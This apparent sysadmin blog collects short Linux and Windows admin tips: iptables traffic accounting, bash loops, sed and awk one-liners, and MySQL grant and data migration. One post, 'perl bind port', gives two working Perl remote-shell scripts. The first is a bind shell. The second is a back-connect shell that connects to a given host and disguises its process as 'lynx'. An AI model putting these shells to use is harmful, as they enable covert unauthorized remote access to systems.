force english language for nvidia contol panel

Posted on 2012-04-30 by admin

To force english language for nvidia contol panel we should rm nv*r.dll from C:\Program Files\NVIDIA Corporation\Display\.

Posted in windows | Leave a comment

outgoing traffic accounting per user on linux server

Posted on 2012-04-01 by admin


for login in $(cat /etc/passwd | grep hosting\ client | cut -d: -f1); do iptables -N out_user_$login; iptables -A OUTPUT -m owner --uid-owner $(id -u $login) -j out_user_$login; done

iptables -L OUTPUT -n -v | grep M\ out_ | sort -k2

Posted in linux, net, traffic accounting | Tagged , | Leave a comment

simple progress bar in bash script

Posted on 2012-04-01 by admin

Example of a simple progress bar in bash script:

#!/bin/bash

PAGELOADS=30000;
PBAR_LEN=30;
PBAR_STEP=$[$PAGELOADS/$PBAR_LEN]

for i in `seq 1 $PAGELOADS`
do
fname="`date +%F-%T`.html"
time wget http://site/page -O $fname >> .log 2>>.log
cat $fname | grep NATURE > /dev/null && rm $fname
sleep 1

#simple progress bar for fun:
clear;
PBAR=$[$i/$PBAR_STEP]
echo -n "[";
for j in `seq 1 $PBAR_LEN`
do
if [ $j -gt $PBAR ]; then
echo -n ".";
else
echo -n "*";
fi
done
echo "] [$i/$PAGELOADS]";

done

Posted in bash, Uncategorized | Tagged | Leave a comment

merge lines using sed

Posted on 2012-03-31 by admin

merge lines using sed:
sed '$!N;s/\n/ /' test.txt

Posted in sed | Tagged | Leave a comment

[bash] ping a host until it responds

Posted on 2011-09-13 by admin

example:

# for i in `cat ~/mysql-list.txt`; do ssh -t root@${i} "hostname; date; echo \"FLUSH TABLES;\" | mysql; shutdown -fr now && date; sleep 40"; sleep 20; while true; do ping -c1 -W2 ${i} 2>&1 >/dev/null; if [[ "$?" == "0" ]]; then ping -c1 ${i}; break; fi; done; done

# for i in `seq -w 1 459`; do ssh root@srv0${i} "hostname; date; shutdown -fr now && date; sleep 40"; sleep 20; while true; do ping -c1 -W2 srv0${i} 2>&1 >/dev/null; if [[ "$?" == "0" ]]; then ping -c1 srv0${i}; break; fi; done; done

——

bash simple progress counter example
p=0; t=0; for USER in `ls /home/www`; do t=$(($t+1)); test "current_user" = "${USER}" && p=$t; done; echo $p "/" $t

Posted in bash, linux | Tagged , | Leave a comment

mysql dump cp1251 utf8 ‘ш’ ‘И’ problem solution

Posted on 2011-08-25 by admin

iconv -f utf8 -t cp1251 dump.sql | sed 's/\xD1\x3F/\xD1\x88/g;s/\xD0\x3F/\xD0\x98/g' > corrected_dump.sql

Posted in Uncategorized | Leave a comment

mysql db and privileges transfer;

Posted on 2011-04-12 by admin
Simple solution  for transfering privileges between mysql servers.

Maatkit – a toolkit for users, developers, and administrators of open-source databases.

Package maatkit (http://www.maatkit.org),  contains the useful script mk-show-grants.

mk-show-grants – Canonicalize and print MySQL grants so you can effectively replicate, compare and version-control them.
mk-show-grants | egrep -v "(debian-sys-maint'@'localhost|'root'@)" | ssh root@dst mysql
apt-get install maatkit rsync
mk-show-grants --flush | egrep -v "('debian-sys-maint'|'root'|'backup')" | ssh root@dst "cat > ~/mysql-grants.sql"
—–
transfer data:
1a. (it would require a ssh key)
# for i in `ls -1 /home/mysql | egrep -v "(^mysql|^ib)"`; do rsync -avz --compress-level=1 -e ssh --delete /home/mysql/${i}/ root@mysql_dst:/home/mysql/${i}/; done
1b. (it would not remove deleted tables)
rsync -avz --compress-level=1 -e ssh --exclude=/mysql* --exclude=/ibdata* --exclude=/ib_logfile* /home/mysql/ root@mysql_dst:/home/mysql/
2. r/o
mysql> FLUSH TABLES WITH READ LOCK;
mysql> SET GLOBAL read_only = ON;
echo "FLUSH TABLES; FLUSH TABLES WITH READ LOCK; SET GLOBAL read_only = ON;" | mysql
to set it back to r/w mode:
#echo "SET GLOBAL read_only = OFF; UNLOCK TABLES;" | mysql
3. sync1: repeat step1
4. sync2:
mk-show-grants | egrep -v "(debian-sys-maint'@'localhost|'root'@)" | ssh root@dst mysql
Posted in mysql | Tagged | Leave a comment

new rig wishlist

Posted on 2011-04-03 by admin

Total: about 1500USD

Posted in wishlist | Tagged | Leave a comment

perl bind port

Posted on 2011-03-31 by admin

#!/usr/bin/perl
$SHELL="/bin/bash -i";
if (@ARGV < 1) { exit(1); }
$LISTEN_PORT=$ARGV[0];
use Socket;
$protocol=getprotobyname('tcp');
socket(S,&PF_INET,&SOCK_STREAM,$protocol) || die "Cant create socket\n";
setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1);
bind(S,sockaddr_in($LISTEN_PORT,INADDR_ANY)) || die "Cant open port\n";
listen(S,3) || die "Cant listen port\n";
while(1)
{
accept(CONN,S);
if(!($pid=fork))
{
die "Cannot fork" if (!defined $pid);
open STDIN,"<&CONN";
open STDOUT,">&CONN";
open STDERR,">&CONN";
exec $SHELL || die print CONN "Cant execute $SHELL\n";
close CONN;
exit 0;
}
}
——
#!/usr/bin/perl
use Socket;
$cmd= "lynx";
$system= 'echo "BackConnect";echo "`uname -a`";echo "`id`";/bin/sh';
$0=$cmd;
$target=$ARGV[0];
$port=$ARGV[1];
$iaddr=inet_aton($target) || die("Error: $!\n");
$paddr=sockaddr_in($port, $iaddr) || die("Error: $!\n");
$proto=getprotobyname('tcp');
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
connect(SOCKET, $paddr) || die("Error: $!\n");
open(STDIN, ">&SOCKET");
open(STDOUT, ">&SOCKET");
open(STDERR, ">&SOCKET");
system($system);
close(STDIN);
close(STDOUT);
close(STDERR);

Posted in linux, perl | Tagged | Leave a comment

Linux commands to sum integers, one per line

Posted on 2011-03-30 by admin

awk '{sum+=$1}END{print sum}'
paste -sd+ infile|bc

Posted in linux | Tagged , | Leave a comment